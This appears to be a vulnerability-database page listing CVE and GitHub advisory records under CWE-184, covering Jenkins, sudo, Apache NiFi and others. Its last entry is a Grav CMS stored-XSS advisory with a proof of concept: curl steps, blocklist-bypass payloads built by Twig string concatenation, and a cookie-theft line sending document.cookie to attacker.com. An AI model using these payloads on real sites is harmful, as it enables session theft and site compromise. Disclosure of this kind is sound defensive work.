CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
399 vulnerabilities reference this CWE, most recent first.
CVE-2017-2602 (GCVE-0-2017-2602)
Vulnerability from cvelistv5 – Published: 2018-05-15 21:00 – Updated: 2024-08-05 14:02| URL | Tags |
|---|---|
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_CONFIRM |
| https://jenkins.io/security/advisory/2017-02-01/ | x_refsource_CONFIRM |
| https://github.com/jenkinsci/jenkins/commit/414ff… | x_refsource_CONFIRM |
| http://www.securityfocus.com/bid/95952 | vdb-entryx_refsource_BID |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T14:02:06.917Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2602"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://jenkins.io/security/advisory/2017-02-01/"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://github.com/jenkinsci/jenkins/commit/414ff7e30aba66bed18c4ee8a8660fb36fc8c655"
},
{
"name": "95952",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/95952"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "jenkins",
"vendor": "[UNKNOWN]",
"versions": [
{
"status": "affected",
"version": "jenkins 2.44"
},
{
"status": "affected",
"version": "jenkins 2.32.2"
}
]
}
],
"datePublic": "2018-05-15T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "jenkins before versions 2.44, 2.32.2 is vulnerable to an improper blacklisting of the Pipeline metadata files in the agent-to-master security subsystem. This could allow metadata files to be written to by malicious agents (SECURITY-358)."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.1,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-184",
"description": "CWE-184",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2018-05-16T09:57:01.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2602"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://jenkins.io/security/advisory/2017-02-01/"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/jenkinsci/jenkins/commit/414ff7e30aba66bed18c4ee8a8660fb36fc8c655"
},
{
"name": "95952",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/95952"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "secalert@redhat.com",
"ID": "CVE-2017-2602",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "jenkins",
"version": {
"version_data": [
{
"version_value": "jenkins 2.44"
},
{
"version_value": "jenkins 2.32.2"
}
]
}
}
]
},
"vendor_name": "[UNKNOWN]"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "jenkins before versions 2.44, 2.32.2 is vulnerable to an improper blacklisting of the Pipeline metadata files in the agent-to-master security subsystem. This could allow metadata files to be written to by malicious agents (SECURITY-358)."
}
]
},
"impact": {
"cvss": [
[
{
"vectorString": "3.1/CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"version": "3.0"
}
]
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-184"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2602",
"refsource": "CONFIRM",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2602"
},
{
"name": "https://jenkins.io/security/advisory/2017-02-01/",
"refsource": "CONFIRM",
"url": "https://jenkins.io/security/advisory/2017-02-01/"
},
{
"name": "https://github.com/jenkinsci/jenkins/commit/414ff7e30aba66bed18c4ee8a8660fb36fc8c655",
"refsource": "CONFIRM",
"url": "https://github.com/jenkinsci/jenkins/commit/414ff7e30aba66bed18c4ee8a8660fb36fc8c655"
},
{
"name": "95952",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/95952"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2017-2602",
"datePublished": "2018-05-15T21:00:00.000Z",
"dateReserved": "2016-12-01T00:00:00.000Z",
"dateUpdated": "2024-08-05T14:02:06.917Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2017-0909 (GCVE-0-2017-0909)
Vulnerability from cvelistv5 – Published: 2017-11-16 22:00 – Updated: 2024-09-16 16:49- CWE-184 - Incomplete Blacklist (CWE-184)
| URL | Tags |
|---|---|
| https://hackerone.com/reports/288950 | x_refsource_MISC |
| https://github.com/jtdowney/private_address_check… | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| HackerOne | private_address_check ruby gem |
Affected:
Versions before 0.4.1
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T13:25:17.033Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://hackerone.com/reports/288950"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://github.com/jtdowney/private_address_check/pull/3"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "private_address_check ruby gem",
"vendor": "HackerOne",
"versions": [
{
"status": "affected",
"version": "Versions before 0.4.1"
}
]
}
],
"datePublic": "2017-11-16T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "The private_address_check ruby gem before 0.4.1 is vulnerable to a bypass due to an incomplete blacklist of common private/local network addresses used to prevent server-side request forgery."
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-184",
"description": "Incomplete Blacklist (CWE-184)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2018-01-17T19:57:01.000Z",
"orgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
"shortName": "hackerone"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerone.com/reports/288950"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/jtdowney/private_address_check/pull/3"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "support@hackerone.com",
"DATE_PUBLIC": "2017-11-16T00:00:00",
"ID": "CVE-2017-0909",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "private_address_check ruby gem",
"version": {
"version_data": [
{
"version_value": "Versions before 0.4.1"
}
]
}
}
]
},
"vendor_name": "HackerOne"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "The private_address_check ruby gem before 0.4.1 is vulnerable to a bypass due to an incomplete blacklist of common private/local network addresses used to prevent server-side request forgery."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "Incomplete Blacklist (CWE-184)"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://hackerone.com/reports/288950",
"refsource": "MISC",
"url": "https://hackerone.com/reports/288950"
},
{
"name": "https://github.com/jtdowney/private_address_check/pull/3",
"refsource": "CONFIRM",
"url": "https://github.com/jtdowney/private_address_check/pull/3"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
"assignerShortName": "hackerone",
"cveId": "CVE-2017-0909",
"datePublished": "2017-11-16T22:00:00.000Z",
"dateReserved": "2016-11-30T00:00:00.000Z",
"dateUpdated": "2024-09-16T16:49:03.138Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2016-7076 (GCVE-0-2016-7076)
Vulnerability from cvelistv5 – Published: 2018-05-29 13:00 – Updated: 2024-08-06 01:50| URL | Tags |
|---|---|
| https://www.sudo.ws/alerts/noexec_wordexp.html | x_refsource_CONFIRM |
| http://rhn.redhat.com/errata/RHSA-2016-2872.html | vendor-advisoryx_refsource_REDHAT |
| http://www.securityfocus.com/bid/95778 | vdb-entryx_refsource_BID |
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_CONFIRM |
| https://security.netapp.com/advisory/ntap-2018112… | x_refsource_CONFIRM |
| https://usn.ubuntu.com/3968-1/ | vendor-advisoryx_refsource_UBUNTU |
| https://usn.ubuntu.com/3968-3/ | vendor-advisoryx_refsource_UBUNTU |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T01:50:46.972Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://www.sudo.ws/alerts/noexec_wordexp.html"
},
{
"name": "RHSA-2016:2872",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "http://rhn.redhat.com/errata/RHSA-2016-2872.html"
},
{
"name": "95778",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/95778"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-7076"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://security.netapp.com/advisory/ntap-20181127-0002/"
},
{
"name": "USN-3968-1",
"tags": [
"vendor-advisory",
"x_refsource_UBUNTU",
"x_transferred"
],
"url": "https://usn.ubuntu.com/3968-1/"
},
{
"name": "USN-3968-3",
"tags": [
"vendor-advisory",
"x_refsource_UBUNTU",
"x_transferred"
],
"url": "https://usn.ubuntu.com/3968-3/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "sudo",
"vendor": "[UNKNOWN]",
"versions": [
{
"status": "affected",
"version": "sudo 1.8.18p1"
}
]
}
],
"datePublic": "2016-10-26T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "sudo before version 1.8.18p1 is vulnerable to a bypass in the sudo noexec restriction if application run via sudo executed wordexp() C library function with a user supplied argument. A local user permitted to run such application via sudo with noexec restriction could possibly use this flaw to execute arbitrary commands with elevated privileges."
}
],
"metrics": [
{
"cvssV3_0": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 6.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-184",
"description": "CWE-184",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2020-09-29T17:06:19.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://www.sudo.ws/alerts/noexec_wordexp.html"
},
{
"name": "RHSA-2016:2872",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "http://rhn.redhat.com/errata/RHSA-2016-2872.html"
},
{
"name": "95778",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/95778"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-7076"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://security.netapp.com/advisory/ntap-20181127-0002/"
},
{
"name": "USN-3968-1",
"tags": [
"vendor-advisory",
"x_refsource_UBUNTU"
],
"url": "https://usn.ubuntu.com/3968-1/"
},
{
"name": "USN-3968-3",
"tags": [
"vendor-advisory",
"x_refsource_UBUNTU"
],
"url": "https://usn.ubuntu.com/3968-3/"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "secalert@redhat.com",
"ID": "CVE-2016-7076",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "sudo",
"version": {
"version_data": [
{
"version_value": "sudo 1.8.18p1"
}
]
}
}
]
},
"vendor_name": "[UNKNOWN]"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "sudo before version 1.8.18p1 is vulnerable to a bypass in the sudo noexec restriction if application run via sudo executed wordexp() C library function with a user supplied argument. A local user permitted to run such application via sudo with noexec restriction could possibly use this flaw to execute arbitrary commands with elevated privileges."
}
]
},
"impact": {
"cvss": [
[
{
"vectorString": "6.4/CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
[
{
"vectorString": "6.6/AV:L/AC:M/Au:S/C:C/I:C/A:C",
"version": "2.0"
}
]
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-184"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://www.sudo.ws/alerts/noexec_wordexp.html",
"refsource": "CONFIRM",
"url": "https://www.sudo.ws/alerts/noexec_wordexp.html"
},
{
"name": "RHSA-2016:2872",
"refsource": "REDHAT",
"url": "http://rhn.redhat.com/errata/RHSA-2016-2872.html"
},
{
"name": "95778",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/95778"
},
{
"name": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-7076",
"refsource": "CONFIRM",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-7076"
},
{
"name": "https://security.netapp.com/advisory/ntap-20181127-0002/",
"refsource": "CONFIRM",
"url": "https://security.netapp.com/advisory/ntap-20181127-0002/"
},
{
"name": "USN-3968-1",
"refsource": "UBUNTU",
"url": "https://usn.ubuntu.com/3968-1/"
},
{
"name": "USN-3968-3",
"refsource": "UBUNTU",
"url": "https://usn.ubuntu.com/3968-3/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2016-7076",
"datePublished": "2018-05-29T13:00:00.000Z",
"dateReserved": "2016-08-23T00:00:00.000Z",
"dateUpdated": "2024-08-06T01:50:46.972Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-23QF-3JF9-H3Q9
Vulnerability from github – Published: 2023-08-19 00:30 – Updated: 2025-02-13 19:10Apache NiFi 1.21.0 through 1.23.0 support JDBC and JNDI JMS access in several Processors and Controller Services with connection URL validation that does not provide sufficient protection against crafted inputs. An authenticated and authorized user can bypass connection URL validation using custom input formatting. The resolution enhances connection URL validation and introduces validation for additional related properties. Upgrading to Apache NiFi 1.23.1 is the recommended mitigation.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-dbcp-base"
},
"ranges": [
{
"events": [
{
"introduced": "1.21.0"
},
{
"fixed": "1.23.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-jms-processors"
},
"ranges": [
{
"events": [
{
"introduced": "1.21.0"
},
{
"fixed": "1.23.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-dbcp-service-api"
},
"ranges": [
{
"events": [
{
"introduced": "1.21.0"
},
{
"fixed": "1.23.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-dbcp-service-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "1.21.0"
},
{
"fixed": "1.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40037"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T20:16:05Z",
"nvd_published_at": "2023-08-18T22:15:10Z",
"severity": "MODERATE"
},
"details": "Apache NiFi 1.21.0 through 1.23.0 support JDBC and JNDI JMS access in several Processors and Controller Services with connection URL validation that does not provide sufficient protection against crafted inputs. An authenticated and authorized user can bypass connection URL validation using custom input formatting. The resolution enhances connection URL validation and introduces validation for additional related properties. Upgrading to Apache NiFi 1.23.1 is the recommended mitigation.",
"id": "GHSA-23qf-3jf9-h3q9",
"modified": "2025-02-13T19:10:21Z",
"published": "2023-08-19T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40037"
},
{
"type": "WEB",
"url": "https://github.com/apache/nifi/pull/7586"
},
{
"type": "WEB",
"url": "https://github.com/apache/nifi/commit/064550aacc189f39d7ddd2c0446068adf250f1bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/nifi"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/NIFI-11920"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/bqbjlrs2p5ghh8sbk5nsxb8xpf9l687q"
},
{
"type": "WEB",
"url": "https://nifi.apache.org/security.html#CVE-2023-40037"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/08/18/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache NiFi Insufficient Property Validation vulnerability"
}
GHSA-27PQ-2PH8-8X25
Vulnerability from github – Published: 2026-06-16 21:31 – Updated: 2026-06-18 20:11Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5cj2-3jr2-5h77. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.4.2 contains an inline-eval bypass vulnerability allowing authenticated operators to weaken strict allowlist checks via shell positional parameters. Attackers can combine allowlisted tools with shell positional arguments to place inline-eval content in shell carriers outside intended allowlist rules, enabling execution of unapproved shell-provided content.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2026.4.2"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T20:11:47Z",
"nvd_published_at": "2026-06-16T19:17:02Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-5cj2-3jr2-5h77. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.4.2 contains an inline-eval bypass vulnerability allowing authenticated operators to weaken strict allowlist checks via shell positional parameters. Attackers can combine allowlisted tools with shell positional arguments to place inline-eval content in shell carriers outside intended allowlist rules, enabling execution of unapproved shell-provided content.",
"id": "GHSA-27pq-2ph8-8x25",
"modified": "2026-06-18T20:11:47Z",
"published": "2026-06-16T21:31:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5cj2-3jr2-5h77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53855"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-shell-positional-parameters-bypass-in-inline-eval-checks"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Shell positional parameters could weaken strict inline-eval checks",
"withdrawn": "2026-06-18T20:11:47Z"
}
GHSA-2C4F-86XC-CR74
Vulnerability from github – Published: 2026-09-16 22:13 – Updated: 2026-09-16 22:13Summary
The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.
Details
The two-stage attack exploits the separation between validation and rendering:
Stage 1 - what the XSS validator sees (raw page content):
{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>
The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.
Stage 2 - what Twig produces (after rendering):
<img src=1 onerror=alert(document.domain)>
The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.
Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:
allowed_tags:
- set # ← allows variable assignment
...
The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.
The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:
<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
Twig output: <script>alert(1)</script> #}
Also bypasses the invalid_protocols check:
<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}
Proof of Concept
Prerequisites
twig_content.process_enabled: trueset by adminapi.pages.writepermission (page creation)
Step 1 - Obtain JWT token (any user with page write access)
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Create page with Twig XSS payload
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
-H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{
"title": "xss-page",
"folder": "xss-page",
"route": "/xss-page",
"template": "default",
"header": {"title": "xss", "process": {"markdown": false}},
"content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
}'
Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.
Step 3 - Visit page → XSS fires
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>
Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.
From a low-level user
Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.
But with payloads such as click proves that the we can bypass the blueprint restrictions and upload malicious script to it
Alternative payloads (all bypass the validator)
| Payload | Twig Source | After Twig | Triggers |
|---|---|---|---|
| Event handler | <img src=1 {{"on"~"error"}}=alert(1)> |
<img src=1 onerror=alert(1)> |
Image load fails |
| Script tag | <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> |
<script>alert(1)</script> |
Immediately |
| Protocol bypass | <a href="{{"java"~"script"}}:alert(1)">click</a> |
<a href="javascript:alert(1)">click</a> |
On click |
| Iframe onload | <i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)> |
<iframe onload=alert(1)> |
Page load |
| Details toggle | <details open {{"on"~"toggle"}}=alert(1)> |
<details open ontoggle=alert(1)> |
Page load |
| Cookie theft | <img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)> |
<img src=1 onerror=fetch(...)> |
Image load fails |
Admin preview caveat
The Admin2 SPA renders page previews inside a sandboxed iframe:
<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>
allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.
Impact
Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:
- Bypasses all four XSS validator regexes (
on_events,invalid_protocols,dangerous_tags,html_inline_styles) - Bypasses the dangerous tag blocklist (reconstructs
<script>,<iframe>,<svg>, etc.) - Bypasses the invalid protocol blocklist (reconstructs
javascript:,data:) - Persists across page edits (stored in page content file)
- Executes for every visitor to the page
An attacker can steal session cookies, perform actions as the victim, or deface the site.
Remediation
Option A - Re-run the XSS validator on Twig output
After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:
// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
// Log and sanitize or block
Security::logTwigSandboxViolation('xss_output', $result, '', $route);
return ''; // or return escaped version
}
Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)
Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).
Option C - Block dynamic attribute names in Twig output
Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.
Option D - Escape HTML in rendered Twig output
Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior — the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0"
]
}
],
"aliases": [
"CVE-2026-61453"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T22:13:17Z",
"nvd_published_at": "2026-07-15T17:16:51Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig\u0027s string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ \"on\" ~ \"error\" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `\u003cimg src=1 onerror=alert(1)\u003e` which is rendered via `{{ content|raw }}` and executes in the victim\u0027s browser.\n\n---\n\n## Details\n\n**The two-stage attack** exploits the separation between validation and rendering:\n\n**Stage 1 - what the XSS validator sees** (raw page content):\n\n```twig\n{% set x = \"on\" ~ \"error\" %}\n\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\n```\n\nThe `detectXss()` function scans this string. The `on_events` regex looks for `\u003c[^\u003e]*?[\\s\\x00-\\x20\\\"\\\u0027\\/](on\\s*[a-z]+|xmlns)\\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\\s\\x00-\\x20\\\"\\\u0027\\/]`, and `x` is not `on`. **No match - passes validation.**\n\n**Stage 2 - what Twig produces** (after rendering):\n\n```html\n\u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nThe validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.\n\n**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:\n\n```yaml\nallowed_tags:\n - set # \u2190 allows variable assignment\n ...\n```\n\nThe `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag \u2014 it is always available and not gated by the sandbox.\n\n**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:\n\n```twig\n\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e\n{# XSS validator sees: \u003cs{{...}}\u003e - no \u003cscript\u003e tag detected\n Twig output: \u003cscript\u003ealert(1)\u003c/script\u003e #}\n```\n\n**Also bypasses the `invalid_protocols` check**:\n\n```twig\n\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e\n{# Validator sees: href=\"{{...}}\" - no \"javascript:\" protocol detected #}\n```\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n1. `twig_content.process_enabled: true` set by admin\n2. `api.pages.write` permission (page creation)\n\n### Step 1 - Obtain JWT token (any user with page write 